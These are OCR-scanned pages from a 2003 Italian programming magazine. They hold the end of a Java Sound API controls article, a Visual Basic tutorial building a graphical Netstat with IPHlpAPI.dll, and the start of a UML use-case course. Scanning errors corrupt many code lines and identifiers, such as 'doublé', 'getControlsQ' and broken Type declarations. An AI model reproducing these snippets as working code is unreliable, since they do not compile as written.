CompoundControl - rappresenta, più che un con-
trollo di per sé una collezione di controlli di diverso
tipo. Ad esempio, se si volesse realizzare un mixer
per la gestione generale dell'audio, potrebbe essere
conveniente raggruppare in un unico Com-
poundControl i vari controlli disponibili, come quel-
lo per la regolazione del volume, del pan, del river-
bero e così via.
Si noti che non è detto che ciascuna linea possa
disporre di tutti i controlli sopra elencati. Per cono-
scere i controlli disponibili per una linea, è comun-
que possibile ricorrere al metodo
Control [] getControls()
che restituisce un array con un elenco completo di
tutti i controlli da essa utilizzabili. Ad esempio, il
metodo seguente stampa su schermo l'elenco di
tutti i controlli disponibili per una generica linea:
public void viewControls(Line myLine)
{
Control [] myControIs = myLine. getControlsQ;
for (int i=0;i<myControls.length;i++)
System. out.println(i+") Controllo: " + myControls[i]); }
Alternativamente, è possibile ricorrere al metodo
boolean isControlSupported(Control.Type control)
se si vuole sapere se una linea dispone di un con-
trollo specifico. Ad esempio, per verificare se la linea
Clip impiegata nella nostra applicazione dispone di
un controllo per la regolazione del volume, si può
operare come segue:
boolean IS_MASTER_GAIN_SUPPORTED =
mySound.isControlSupported(
FloatControl.Type.MASTER_GAIN)
dove si è supposto che mySound sia una linea di tipo
Clip precedentemente istanziata ed aperta. A titolo
di esempio, nella nostra applicazione sono stati in-
seriti due controlli relativi alla riproduzione audio (e
quindi dipendenti dalla linea Clip mySound] per la
regolazione del pan e del volume. In particolare, per
la regolazione del volume è stato implementato il
metodo seguente:
public void setGain()
_i
if (mySound !=null) {
if (!mySound.isControlSupported(
FloatControl.Type.MASTER_GAIN))
{System. out.println("master gain non supportato dalla
linea");
return;}
doublé value = gainSlider.getValue() / 100.0;
try{
FloatControl gainControl =
(FloatControl) mySound. getControl(
FloatControl.Type.MASTER_GAIN);
float dB = (float) (Math.log(value==0.0 ?
0.0001: value)/Math.log(10.0)*20.0);
gainControl. setValue(dB);
} catch (Exception ex) {ex.printStackTrace();}
}
Tale metodo - invocato ogni qual volta l'utente
cambia l'impostazione dello slider gainSlider (si
veda la Fig. 1 relativa al "gain" all'interno del pan-
nello dei "controlli di riproduzione audio") -
aggiorna automaticamente il volume del segnale
audio in fase di riproduzione. In generale, per otte-
nere un controllo da una generica linea si deve uti-
lizzare il metodo myLine.getControl(Control.Type
type_of_control). Infine, ogni controllo è dotato dei
metodi setValueQ e getValuef) rispettivamente per
la lettura del suo valore corrente e per la scrittura
di un nuovo valore.
CONCLUSIONI
Nel caso i controlli disponibili non rispondano alle
proprie esigenze, è sempre possibile ricorrere ad
opportuni algoritmi di elaborazione dell'audio digi-
tale (audio DSP). Ad esempio, se si volesse realizza-
re un equalizzatore grafico, tale da regolare a pro-
prio piacimento le basse, le medie o le alte frequen-
ze di un segnale audio, sarebbe possibile ricorrere
all'implementazione di un banco di filtri digitali.
Ma di questo interessante argomento parleremo nel
prossimo appuntamento. Non mancate!!
Stefano Leone Monni
i Sound Api
Programmer's Guide
http://java.sun.com/
j2se/1 ,3/docs/guide/
sound/proq guide/
title.fm.html
http://www.ioprogrammo.it
Dicembre 2003/77 ►
SISTEMA T ■ NETWORKING
Monitoring della Lan con VB
Le Network API
in Visual Basic
(parte seconda)
In questa puntata analizzeremo le funzioni più avanzate della
libreria IPHIpAPI.dll, costruendo un Netstat grafico che ci consentirà
di monitorare le principali attività di rete del nostro sistema
Lj CD □ WEB
NetworkAPLzip
^*
Nel precedente appuntamento (ioPro-
grammo 74) abbiamo analizzato alcune
delle funzioni più importanti della libre-
ria IPHlpAPI.dll, piuttosto semplici da utilizzare.
Abbiamo soprattutto evidenziato il fatto che una
libreria apparentemente "di poco conto" possie-
de in realtà delle funzioni in grado di offrirci un
supporto davvero importante quando dobbiamo
trattare dati che si riferiscono ad interfacce di
rete o, più in generale, alla nostra LAN. Questa
volta avremo modo di vederne delle altre che, per
certi aspetti, potranno risultare più complicate
da utilizzare all'interno dei nostri progetti, ma
risulteranno senza dubbio più interessanti. In
questa sede, infatti, analizzeremo la maniera di
sfruttare alcune di queste funzioni per realizzare
un programma che ci mostri una serie di dati sta-
tistici relativi ai pacchetti IP, TCP, ICMP ed UDP
in transito sulla nostra scheda di rete e, successi-
vamente, ne sfrutteremo delle altre per realizzare
una utility Netstat-like, con tanto di interfaccia
grafica.
LE STATISTICHE
PACCHETTI
Come già anticipato, il progetto che si è voluto
realizzare, è suddiviso in due parti distinte. La
prima riguarda l'implementazione di alcune fun-
zionalità che ci consentono di ottenere informa-
zioni statistiche circa i pacchetti di tipo TCP/IP,
UDP e ICMP che transitano sulla nostra scheda
di rete. La seconda parte, invece, riguarda la rea-
lizzazione di una Netstat grafica, molto simile
(dal punto di vista dei dati mostrati) a quella che
già conosciamo. L'intero progetto è stato realiz-
zato in Visual Basic 6.0 e la piattaforma utilizzata
per i test è stata Windows XP Professional. Prima
di passare alla descrizione vera e propria delle
funzioni appartenenti alla libreria IPHlpAPI.dll
utilizzate (e non solo a questa) è bene rammen-
tare che l'esecuzione di alcune funzionalità su
altri sistemi operativi, potrebbe essere fonte di
errori. Chiaramente, considerate le diverse carat-
teristiche di un sistema operativo rispetto ad un
altro, il condizionale è d'obbligo.
Per questa ragione, dunque, è bene sempre
acquisire tutte le informazioni relative alla com-
patibilità delle funzioni sfruttate prima di essere
certi di poter utilizzare lo stesso programma per
altri sistemi operativi. Cominceremo questa
"discussione" parlando innanzitutto delle fun-
zioni utilizzate per ottenere dati statistici sui pac-
chetti in transito.
La prima funzione che vedremo è denominata
GetTcpStatisticsQ- La sintassi di questa funzione,
così come dichiarata all'interno del progetto in
Visual Basic, è:
Declare Function GetTcpStatistics Lib "IPhlpAPI"
(pStats As MIB_TCPSTATS) As Long
L'unico parametro di questa funzione rappresen-
ta un puntatore ad una struttura di tipo
MIB_TCPSTATS. Essa contiene diverse informa-
zioni utili, relative ai pacchetti TCP tra cui il
numero di connessioni stabilite, i pacchetti
inviati, quelli ricevuti, ecc. La seconda funzione,
sfruttata per scopi statistici, si occupa di ritorna-
re informazioni utili circa i pacchetti IP ed è
denominata, analogamente alla precedente,
GetlpStatisticsQ, eccone la sintassi:
Declare Function GetlpStatistics Lib "IPhlpAPI" (pStats
As MIBJPSTATS) As Long
Anch'essa, come GetTcpStatisticsQ, riceve in
»> 78/Dicembre 2003
http://www.ioprogrammo.it
NETWORKING ■ T SISTEMA
ingresso un solo parametro, un puntatore ad una
struttura di tipo MIBJPSTATS, che consente di
memorizzare, ad ogni chiamata, informazioni
utili sui pacchetti IP "catturati". Alcune di queste
informazioni riguardano il numero di datagram
inviati, quelli scartati, il numero di indirizzi IP
configurati, ecc.
La successiva funzione si occupa di ottenere
informazioni utili circa i pacchetti UDP ed è
denominata GetUdpStatisticsO-
Anch'essa è dichiarata in maniera simile alle pre-
cedenti ossia:
Public Declare Function GetUdpStatistics Lib "IPhlpAPI"
(pStats As MIB_UDPSTATS) As Long
Anche qui, l'unico parametro passato alla funzio-
ne, è un puntatore ad una struttura che consen-
tirà di memorizzare i dati relativi a pacchetti
UDP denominata MIBJJDPSTATS. L'ultima fun-
zione, si occupa della cattura di pacchetti ICMP
ed è denominata GetIcmpStatistics().
La sintassi di questa funzione è la seguente:
Declare Function GetlcmpStatistics Lib "IPhlpAPI"
(pStats As MIBICMPINFO) As Long
Il parametro pStats rappresenta un puntatore ad
una struttura denominata MIBICMPINFO che,
contrariamente a quanto visto finora, è legger-
mente diversa dalle precedenti. Infatti, essa è
così dichiarata:
Type MIBICMPINFO
icmpInStats As MIBICMPSTATS '
Statistiche in arrivo
icmpOutStats As MIBICMPSTATS
v Statistiche in uscita
End Type
I due item della struttura, così come evidenziato
nella dichiarazione sopra, rappresentano due
strutture di tipo MIBICMPSTATS. Entrambi, dun-
que, puntano allo stesso tipo di "container", ma
consentono di differenziare i dati rilevati a
secondo se si tratti d'informazioni in arrivo o in
uscita.
In particolare, tanto per essere più chiari, una
struttura MIBICMPSTATS è così dichiarata:
Type MIBICMPSTATS
dwMsgs As Long ' Numero messaggi ricevuti o inviati
dwErrors As Long ' Numero errori ricevuti o inviati
dwDestUnreachs As Long ' Messaggi riferiti a
destinazioni irraggiungibili
Numero di messaggi del tipo
TTL exceeded'
' Numero di messaggi
del tipo 'Parameter problem'
dwSrcQuenchs As Long ' Numero di messaggi del
dwTimeExcds As Long
dwParmProbs As Long
tipo 'Source quench'
dwRedirects As Long ' Numero di messaggi del tipo
'Redirection messages'
dwEchos As Long ' Echo requests
dwEchoReps As Long v Echo replies
dwTimestamps As Long v Timestamp requests
dwTimestampReps As Long ' Timestamp replies
dwAddrMasks As Long ' Address mask requests
dwAddrMaskReps As Long ' Address mask replies
End Type
L'UTILITY IUETSTAT
L'utility Netstat rappresenta certamente uno di
quei tool che ogni amministratore di rete dovreb-
be conoscere. Analogamente a comandi come
ping o tracert. In Windows XP, se lanciamo
Netstat senza alcun parametro, otteniamo sem-
plicemente tutte le connessioni TCP attive. La
sintassi di quest'utility è la seguente:
netstat [-a] [-e] [-n] [-o] [-p Protocollo] [-r] [-s]
[Intervallo]
in cui
• -a: Visualizza tutte le connessioni TCP attive e
le porte TCP ed UDP su cui il PC è in attesa di
connessione.
• -e: Visualizza le statistiche Ethernet (numero
di byte e pacchetti inviati/ricevuti). Questo
parametro può essere combinato con -s.
• -n: Visualizza le connessioni TCP attive, mo-
strando indirizzi e numeri di porta sottofor-
ma numerica, senza alcun tentativo di risolu-
zione dei nomi.
• -o: Visualizza le connessioni TCP attive e
include il PID (ID processo) di ogni connes-
sione. Questo valore consente di ottenere
l'applicazione relativa attraverso la scheda
Processi di Task Manager di Windows. Questo
parametro può essere combinato con -a, -n e
-P-
• -p Protocollo: Mostra le connessioni per il
protocollo specificato da Protocollo. Esso può
essere tcp, udp, tcpv6 o udpv6. Se utilizzato
con -s, Protocollo può essere tcp, udp, icmp,
ip, tcpv6, udpv6, icmpv6 o ipv6.
• -s: Visualizza le statistiche per protocollo. Per
impostazione predefinita, le statistiche ven-
gono mostrate per i protocolli TCP, UDP,
ICMP e IP. Se è installato il protocollo IPv6 per
Windows XP le statistiche verranno mostrate
per i protocolli TCP su IPv6, UDP su IPv6,
ICMPv6 e IPv6. Il parametro -p può essere
utilizzato per specificare un gruppo di proto-
colli. Questa funzionalità è stata implementa-
ta, all'interno del progetto VB, attraverso l'uti-
GLOSSARIO
NETSTAT
Netstat consente di
ottenere moltissime
informazioni utili che
possono aiutarci a
risolvere problemi
legati alla nostra rete.
In particolare, Netstat
visualizza informazio-
ni che vanno dalle
"semplici" connessio-
ni TCP attive, alle
porte su cui il compu-
ter è in attesa di con-
nessione, alle statisti-
che Ethernet, alla
visualizzazione della
tabella di routing IP,
ecc.
http://www.ioprogrammo.it
Dicembre 2003/79 ►
SISTEMA T ■ NETWORKING
PERCHÈ
UTILIZZARE
METSTAT
Solitamente, Netstat
viene sfruttata per
ottenere in output
informazioni sul pro-
tocollo di riferimen-
to (TCP o UDP), l'in-
dirizzo locale ed il
numero di porta uti-
lizzata, l'indirizzo
remoto ed il numero
di porta utilizzata e
lo stato della con-
nessione.
lizzo delle funzioni descritte precedentemen-
te.
• -r: Visualizza il contenuto della tabella di rou-
ting IP ed è equivalente al comando route
print.
• Intervallo: Visualizza nuovamente le infor-
mazioni selezionate ogni Intervallo di secon-
di. Se il parametro viene omesso, il comando
netstat stampa le informazioni richieste sol-
tanto una volta.
• /?: Visualizza informazioni della Guida.
In particolare, gli stati di una connessione possi-
bili sono:
CLOSE_WAIT
CLOSED
ESTABLISHED
FIN_WAIT_1
FIN_WAIT_2
LAST_ACK
LISTEN
SYN_RECEIVED
SYN_SEND
TIMED_WAIT
Una descrizione esaustiva su ciascuno di questi
stati è reperibile nel documento RFC 793.
IL PROGETTO IIU VB
(STATISTICHE)
Dopo questa brevissima, ma necessaria descri-
zione delle funzioni utilizzate per le statistiche
sui pacchetti e sull'uso del comando Netstat, pos-
siamo passare a descrivere l'aspetto pratico di
questo argomento. Come già detto all'inizio, il
progetto realizzato in Visual Basic è suddiviso in
due parti. La prima si occupa di mostrare a video
una serie di statistiche, suddivise per ogni tipolo-
gia di pacchetto. La seconda, invece, mostra
informazioni sulle connessioni TCP /IP ed UDP
attive in maniera analoga a quanto ottenuto
Fig. 1: L'interfaccia principale del programma.
attraverso l'avvio del comando Netstat. In questo
paragrafo analizzeremo i dettagli che riguardano
solo la prima parte, lasciando al successivo para-
grafo la descrizione delle funzionalità relative alle
connessioni di rete. Il progetto VB è formato da
una semplice form, frmNetStat e da un modulo,
Declare, all'interno del quale sono contenute
tutte le dichiarazioni e funzioni principali utili al
programma. L'interfaccia principale della form è
stata costruita per rispecchiare esattamente le
strutture viste precedentemente, suddividendo,
ovviamente, ogni gruppo d'informazioni statisti-
che a secondo del pacchetto considerato.
All'interno della form è stato inserito un control-
lo di tipo Timer, utile al nostro scopo. Quando il
programma è avviato, esso richiama, ad intervalli
regolari, una funzione costruita ad hoc, Statisti-
chePacchettiQ che, com'è facile intuire, si preoc-
cupa di "riempire" ogni pannello presente nella
parte superiore della form, con tutti i dati statisti-
ci relativi ai pacchetti TCP IP UDP e ICMR La fun-
zione considerata, in realtà, è molto semplice.
Essa dichiara al suo interno quattro variabili,
rispettivamente di tipo MIB_TCPSTATS,
MIBJPSTATS, MIBJJDPSTATS e MIBICMPINFO
che ci consentiranno di memorizzare i dati otte-
nuti attraverso l'utilizzo delle funzioni preceden-
temente descritte. Quando è richiamata, essa lan-
cia in sequenza le quattro funzioni viste, valoriz-
zando di conseguenza ognuna delle strutture in
essa dichiarate. Successivamente, se il valore di
ritorno di ciascuna è diverso da zero, mostrerà a
video i risultati ottenuti. Perché ciò fosse possibi-
le, sono stati inseriti, all'interno della form princi-
pale, diversi array di label, ognuno dei quali cor-
risponde ad un particolare item di ciascuna strut-
tura. Tutto questo "meccanismo" è piuttosto sem-
plice da comprendere e non esistono particolari
dettagli o accorgimenti da tener presenti. Ben più
complessa, invece, è la visualizzazione delle con-
nessioni TCP/IP ed UDP correnti.
IL PROGETTO IN VB
(GRAPHIC METSTAT)
Abbiamo visto che il comando Netstat consente
di ottenere un elenco delle connessioni attive sul
nostro PC, mostrando a video diverse informa-
zioni come l'indirizzo IP del computer remoto, le
porte utilizzate, lo stato della connessione, ecc.
Per poter ottenere in Visual Basic lo stesso risulta-
to, è stata predisposta, nella parte inferiore della
form, una listview con le colonne relative a tutte
queste informazioni. Inoltre, come avrete potuto
notare, esistono due "checkbox grafiche" alla
destra di questo controllo che consentono,
rispettivamente, di risolvere l'indirizzo IP di un
»> 80/ Dicembre 2003
http://www.ioprogrammo.it
NETWORKING ■ T SISTEMA
PC in un nome host ed il numero di porta relativa
alla connessione nel nome di servizio valido.
Tanto per essere più chiari, è possibile ottenere il
nome del PC remoto relativamente ad una certa
connessione (ossia WebSrv anziché 10.0.0.1, ad
esempio) ed HTTP anziché il numero 80. Queste
due checkbox grafiche non sono altro che due
bitmap che, ad ogni click del mouse, cambiano
stato, abilitando o meno queste funzionalità.
Immediatamente sotto questi due controlli, è
stata inserita un'ulteriore bitmap contrassegnata
con l'etichetta Avvia Netstat. La pressione del
tasto sinistro del mouse su di essa avvia, dunque,
tutta la parte di codice in grado di ottenere le
informazioni che vogliamo. Nella prima parte
sono dichiarate le variabili principali utili al pro-
gramma. In particolare, in testa, troviamo le
seguenti dichiarazioni:
dwRemotePort As Long ' Numero porta remota
End Type
Dim
pTcpTable
As MIB_
TCPTABLE '
Puntatore
alla
struttura MIB_
JCPTABLE
Dim
pUdpTable
As MIB
JJDPTABLE
v Puntatore
alla
strutture MIB_
UDPTABLE
Le strutture MIB_TCPTABLE e MIBJJDPTABLE,
molto simili tra loro, sono così dichiarate all'in-
terno del modulo Declare:
Typ<
; MIB_
TCPTABLE
dwN
umEntries As Long
1 Numero delle strutture
MIBJTCPROW
table
(100) As MIB.
JCPROW
1 Array di strutture
MIBJTCPROW
End
Type
Type
MIBJJDPTABLE
dwNumEntries As Long
1 Nu
mero delle strutture
table(100) As MIB_
JJDPROW
1 Array di strutture
MIBJJDPROW
Enc
Type
Malgrado le due strutture precedenti possano
sembrare molto simili tra loro, in realtà si diffe-
renziano proprio per il tipo di sottostruttura che
identifica il secondo item. Infatti, premesso che
questa differenza è chiaramente dipendente dalla
diversa tipologia del protocollo TCP rispetto
all'UDP le due sottostrutture sono così dichiara-
te:
Type MIBJTCPROW
dwState As Long
' Stato della
connessione
dwLocalAddr As String
* 4
Indirizzo locale
dwLocalPort As Long
1 N
umero porta
locale
dwRemoteAddr As Stri
~\g *
4 ' Indirizzo
computer
remoto
Type MIBJJDPROW
dwLocalAddr As String * 4
v IP Address
dwLocalPort As Long
1 Numero di porta
End Type
Entrambe possiedono una sintassi molto simile:
Declare Function GetTcpTable Lib "IPhlpAPI" (pTcpTable
As MIBJTCPTABLE, pdwSize As Long, bOrder
As Long) As Long
Declare Function GetUdpTable Lib "IPhlpAPI"
(pUdpTable As MIBJJDPTABLE, pdwSize As Long,
bOrder As Long) As Long
Il secondo parametro, pdwSize, rappresenta la di-
mensione dell'intera struttura. In fase d'input,
specifica la dimensione del buffer puntato da pT-
cpTablelpUdpTable. In output, se la dimensione è
insufficiente, la funzione imposta la variabile con
il corretto valore. Questa considerazione, analoga
ad alcune fatte anche la volta scorsa, spiega
anche il perché la chiamata alla funzione consi-
derata [GetTcpTableQ o GetUdpTableQ) sia effet-
tuata due volte consecutive all'inizio del pro-
gramma. L'ultimo parametro, infine, specifica se
effettuare o meno l'ordinamento sui dati ritorna-
ti dalla funzione. Il parametro bOrder può assu-
mere valore True o False. Nel primo caso, il tipo di
ordinamento varia a secondo della funzione che
stiamo considerando. In definitiva, dunque, ecco
i due tipi d'ordinamento effettuati:
GetTcpTableQ
Locai IP address
Locai port
Remote IP address
Remote port
GetUdpTableQ
Locai IP address
Locai port
A questo punto, tutto quello che viene effettuato
dopo, è chiamare le due funzioni precedenti, leg-
gere i valori ritornati all'interno delle rispettive
strutture e "riporli" all'interno delle label corri-
spondenti presenti sulla form. Questo processo,
apparentemente semplice, in realtà è stato leg-
germente complicato, per consentire di risolvere,
su richiesta, sia ITP address di un certo computer
(sia quello locale che l'eventuale server remoto)
GLOSSARIO
MIB TCPTABLE
E MIB UDPTABLE
Le strutture MIB TCP-
TABLE e MIBJJDPTA-
BLE rappresentano il
primo parametro delle
funzioni della libreria
IPHIpAPI.dll che ritor-
nano le informazioni
che vogliamo ossia
GetTcpTable() e
GetUdpTable().
http://www.ioprogrammo.it
Dicembre 2003/81 ►
SISTEMA T ■ NETWORKING
Fig. 2: La funzionalità Netstat prima e dopo il proces-
so di risoluzione.
in hostname sia il nome di un dato servizio per
cui esiste una connessione attiva. Le due funzio-
ni costruite ad hoc che si preoccupano di effet-
tuare queste conversioni, sono rispettivamente
GetHostNameFromIPO e GetSrvByPortQ. La fun-
zione GetHostNameFromIPO si occupa di risolve-
re un indirizzo IP nel rispettivo hostname. Essa si
serve sotanzialmente di una funzione, getho-
stbyaddrQ, dichiarata nella maniera seguente:
Public Declare Function gethostbyaddr Lib "wsock32"
(haddr As Long, ByVal hnlen As Long, ByVal addrtype
As Long) As Long
Il primo parametro rappresenta l'indirizzo IP da
risolvere, il secondo la lunghezza (espressa in
byte) di questo indirizzo e l'ultimo il tipo di indi-
rizzo. Nel nostro caso, esso vale sempre zero.
Questa funzione, se chiamata in maniera "regola-
re", ritorna un puntatore ad una struttura di tipo
HOSTENT, così dichiarata:
Type HOSTENT
hName As Long
' Nome host
hAliases As Long
1 Array di nomi alias per l'host
hAddrType As Integer
' Tipo di indirizzo da ritornare
hLength As Integer '
Lunghezza i byte dell'indirizzo
hAddrList As Long
Array di indirizzi di rete
End Type
Che ci fornisce diverse informazioni utili, tra le
quali proprio il nome host corrispondente. La
funzione GetHostNameFromIPO ritorna dunque
questo valore oppure semplicemente l'indirizzo
IP passato in ingresso qualora non riuscisse a
risolverlo in hostname. L'altra funzione,
GetSrvByPortQ, invece, si occupa di risolvere un
numero di porta nel corrispondente nome di ser-
vizio. Per far questo, si serve di diverse funzioni,
tra le quali, la principale, è getservbyportQ '. La sin-
tassi di quest'ultima è la seguente:
Public Declare Function getservbyport Lib "ws2_32.dll"
(ByVal port As Integer, ByVal proto As Long) As Long
Ovviamente, il primo parametro passato alla fun-
zione identifica il numero di porta da "tradurre",
mentre il secondo specifica il protocollo di riferi-
mento. Se tutto va bene, la chiamata a getservby-
portQ ritorna un puntatore ad una struttura di
tipo SERVENT così dichiarata:
Anche qui, analogamente alla struttura
HOSTENT, possiamo rilevare diverse informazio-
ni utili, tra le quali, ovviamente, il nome del servi-
zio. Naturalmente, qualora non si riuscisse a
risolvere il numero di porta in un nome di servi-
zio valido, la funzione GetSrvByPortQ ritorna
semplicemente parametro passato così com'era.
Prima di concludere va solo specificato che,
all'interno delle funzioni considerate, sono stati
applicate diverse conversioni sui parametri pas-
sati. Questo perché molte delle funzioni viste
necessitano di parametri fatti in una certa manie-
ra che, spesso, quindi, dovevano necessariamen-
te essere "convertiti" nel giusto formato prima di
essere utilizzati. Per il resto, il codice allegato è
ben commentato e credo sia sufficiente a descri-
vere l'intero progetto in VB. Ovviamente, è inutile
dirlo, esso può essere migliorato.
CONCLUSIONI
Nel prossimo appuntamento avremo modo di
vederne delle altre, altrettanto utili ed interessan-
ti. Prima di lasciarvi, però, vorrei fare solo una
considerazione importante.
L'utility Netstat a corredo di Windows XP offre
una importante caratteristica ossia consente di
ottenere il PID del processo coinvolto in una
determinata connessione. Questa feature, non
implementata all'interno del programma realiz-
zato, poteva essere inserita sfruttando un paio di
funzioni particolari denominate rispettivamente
AllocateAndGetTcpExTableFromStackQ e Allo-
cateAndGetUdpExTableFromStackQ. Esse sono
molto simili alle analoghe viste nell'articolo,
GetTcpTableQ e GetUdpTableQ, nel senso che si
appoggiano ad analoghe strutture, ma che, oltre
ai parametri visti in precedenza, possiedono pro-
prio l'item relativo al PID del processo coinvolto.
Purtroppo, esse risultano identificate come
undocumented e non esiste da nessuna parte
una fonte precisa ed esaustiva sull'argomento.
Francesco Lippo
* 82/Dicembre 2003
http://www.ioprogrammo.it
Unified Modelling Language
I
T CORSO BASE
La rappresentazione visuale delle informazioni
UML e i casi d'uso
Da questo numero ha inizio una serie di articoli che ha come obiettivo
la semplificazione di tematiche complesse che tradizionalmente
vengono descritte, da testi ed articoli, in modo accademico.
Il processo di semplificazione non è da conside-
rare come una modalità per trattare temi com-
plessi in maniera superficiale, ma deve essere
uno strumento per portare alla comprensione di
tutti alcuni argomenti che spesso vengono accan-
tonati e messi da parte solo perché ritenuti, a volte
a torto, di difficile comprensione solo perché non
si è ancora trovata una modalità semplice di
affrontarli.
Il primo argomento che tratteremo è UML, spesso
ritenuto troppo ostico da affrontare anche perché
incrociato con altre tematiche complesse come
progettazione e ingegneria del software, ed in par-
ticolare, in questo primo articolo, ci concentrere-
mo sugli Use Case Diagram, una modalità semplice
per descrivere un sistema o uno scenario.
L'obiettivo che vogliamo raggiungere trattando
UML in maniera semplice è anche fornire al lettore
una guida pratica alla lettura per i diagrammi UML
che troverete sempre più spesso nelle pagine si
ioProgrammo, e che saranno utilizzati per descri-
vere le applicazioni ed i progetti che forniscono
spunti pratici agli articoli. UML rappresenta una
tematica che, se affrontata nel modo giusto, può
offrire grandi spunti per aumentare la qualità delle
nostre realizzazioni, senza perdersi in tecnicismi e
trattazioni accademiche spesso fini a se stesse.
I PROCESSI
DI SVILUPPO
La produzione di software di qualità è solitamente
caratterizzata dalla presenza di un processo di svi-
luppo che ha l'obiettivo di garantire un'accurata
analisi dei requisiti per realizzare, in tempi e costi
ragionevoli e misurati, un software che sia il più
possibile aderente alle specifiche funzionali, archi-
tetturali e contestuali del cliente. Il processo di svi-
luppo quindi, qualunque esso sia e qualunque filo-
sofia segua, ha la responsabilità di stabilire le linee
guida e le modalità operative per ciascuna delle sin-
gole attività che compongono lo studio e la realiz-
zazione del software. Esistono diverse scuole di
pensiero riguardo i processi di sviluppo e spesso la
prima difficile scelta che si è obbligati a compiere e
su quale di questi adottare. In questo contesto è
bene tener presente che non esistono a priori pro-
cessi di sviluppo perfetti né processi assolutamente
inconsistenti e fallimentari, ma poiché ciascuno di
questi è caratterizzato da pregi e difetti, è necessa-
rio spendere sempre un po' di tempo per verificare
quale processo, tra quelli esistenti, sia il più adatto
al contesto realizzativo, cioè alla tipologia di softwa-
re da realizzare, alla composizione e distribuzione
per competenza del gruppo di lavoro, alle specifi-
cità del cliente, ai vincoli sui tempi e sui costi di rea-
lizzazione.
Ciascun processo, in ogni caso, fornisce gli strumen-
ti per guidare l'intera realizzazione dallo studio di
fattibilità fino alla consegna del software al cliente.
Alcuni processi di sviluppo storici sono: i processi
Waterfall (a cascata), i processi basati sulla prototi-
pizzazione, i processi incrementali, i processi a spi-
rale, l'extreme programming ed il RUP (Rational
Unified Process).
LE FASI
DEL PROCESSO
DI SVILUPPO
In qualunque processo di sviluppo è possibile ritro-
vare componenti comuni che consentono di separa-
re operazioni e ruoli, in particolare in ogni processo
esistono fasi distinte che si possono schematizzare
in questo modo:
Analisi: spesso chiamata Inception, è composta
dalla definizione e dalla specifica dei requisiti fun-
zionali, dall'analisi dei limiti e della fattibilità tecni-
ca. E' propedeutica a qualsiasi altra fase di processo;
Disegno: anche detta Elaboration, è composta dal-
l'approfondimento dei requisiti funzionali e dalla
trasposizione di questi in una progettazione archi-
tetturale e tecnica che fornisca le basi per lo svi-
luppo;
Realizzazione: anche detta Construction, la parte
SCOPO
DELL'ARTICOLO
L'obiettivo che
vogliamo raggiungere
trattando UML in
maniera semplice è
anche fornire al lettore
una guida pratica alla
lettura per i diagrammi
UML che troverete
sempre più spesso
nelle pagine di
ioProgrammo, e che
saranno utilizzati per
descrivere le
applicazioni ed i
progetti che forniscono
spunti pratici agli
articoli.
CORSO BASE T
I
Unified Modelling Language
I DIAGRAMMI
UML
UML si compone di una
serie di diagrammi che
permettono di definire
e progettare un siste-
ma nella sua interezza.
I diagrammi a disposi-
zione sono:
centrale del processo che costituisce la produzione
incrementale del sistema che, al termine della fase,
deve essere completamente testato ed eventual-
mente integrato gli altri sistemi;
Completamento: anche chiamata Transition, elimi-
nazione delle ultime imperfezioni e produzione
della release che può essere rilasciata al cliente.
Come si vede, in un processo di sviluppo costituito
da queste fasi, sono presenti tutte le componenti
necessarie alla realizzazione di un sistema software,
resta da individuare una modalità per modellare
tutte le informazioni che vengono prodotte dalla
varie fasi. Cosa si può usare, per esempio, per
modellare in maniera chiara, semplice e precisa i
requisiti dell'utente, le specifiche architetturali, la
progettazione tecnica? Negli anni si è passati da rap-
presentazioni totalmente testuali, in cui tutte le
informazioni venivano descritte con le parole, a
metodi grafici che permettessero di rappresentare in
maniera visuale i concetti, le entità di dominio e le
relazioni tra queste. Dal raffinamento delle varie
metodologie e dall'unione di metodi esistenti, in
particolare di:
I DIAGRAMMI UML
UML, come abbiamo detto, è un linguaggio di rap-
presentazione visuale, di conseguenza è composto
da una serie di diagrammi che consentono di
visualizzare tutte le componenti del sistema che
vogliamo descrivere e progettare. I diagrammi si
dividono in due famiglie: l'area strutturale e l'area
dinamica. La prima descrive le entità del sistema e
le relazioni che intercorrono fra queste, la seconda
descrive il comportamento del sistema nel tempo.
All'area strutturale appartengono i seguenti dia-
grammi:
• Diagramma dei casi d'uso
• Diagramma delle classi
• Diagramma dei componenti
• Diagramma di distribuzione
All'area dinamica invece appartengono i seguenti:
• Diagramma a stati finiti
• Diagramma delle attività
• Diagramma di sequenza
• Diagramma di collaborazione
Use Case
Class
Component
Deployment
State Chart
Activity
Sequence
Collaboration
Actor
Diagram
Diagram
Diagram
Diagram
Diagram
Diagram
Diagram
Diagram
Esistono poi diagram-
mi fuori dallo standard
UML che consentono di
descrivere altri aspetti
del sistema, come ad
esempio:
Entità Relationship
Diagram per definire le
entità del sistema e le
relazioni tra esse
Web Application
Diagram per definire le
architetture delle
applicazioni web
Object-Oriented Analysis and Design with Applications
(OOADA) di Booch
Object-Oriented Software Engineering (OOSE) di
Jacobson
Object Modelling Technique (OMT) di Rumbaugh
ecco nascere il progetto di un linguaggio di modella-
zione per la specifica, la visualizzazione, la produ-
zione e la documentazione di sistemi generici che
possa essere applicato indifferentemente a sistemi
software, modelli economici, processi industriali.
Ecco nascere quindi UML {Unified Modeling
Language), un linguaggio composto da elementi di
modellazione (rappresentanti la semantica ed i con-
cetti fondamentali), elementi di notazione (che con-
sentono di rappresentare graficamente gli elementi
del modello) e da linee guida.
cosa uml moni e
(e moni PUÒ ESSERE)
Secondo quanto è stato detto finora è chiaro che
UML non è un linguaggio di programmazione, ma è
un linguaggio di specifica che consente una rappre-
sentazione visuale delle informazioni.
Questa definizione può essere estesa sottolineando
che UML non è direttamente correlato e non dipen-
de da nessun linguaggio di programmazione, anche
se si sposa meglio con linguaggi fortemente ad
oggetti.
Non esistono in UML (almeno nella versione attua-
le) modelli per la definizione di interfacce.
USE CASE DIAGRAM
Il diagramma dei casi d'uso ha come obiettivo la
System Boundary
Fig. 1: Le componenti fondamentali di uno Use Case
Diagram.
descrizione di uno scenario concreto di operatività
degli utilizzatori di un sistema. In esso vengono
quindi descritte le modalità con le quali il sistema
può essere utilizzato e quindi le funzionalità che il
sistema mette a disposizione dei suoi utilizzatori.
Le componenti fondamentali di uno Use Case
Diagram sono quattro e sono tutte contenute nel
diagramma di esempio di Fig. 1. Si tratta di:
Attore: entità attiva (qualcuno o qualcosa) esterna al
sistema che interagisce con i casi d'uso;
Caso d'uso: un modello di comportamento suppor-
tato dal sistema;
Relazione: associazioni e legami tra attori e casi
d'uso;
Contesto: rappresenta un sottosistema composto
da casi d'uso appartenenti ad una parte ben definita
del sistema più generale.
Unified Modelling Language
T FOR DUMMIES
Negozio Online
Ordinare un prodotto
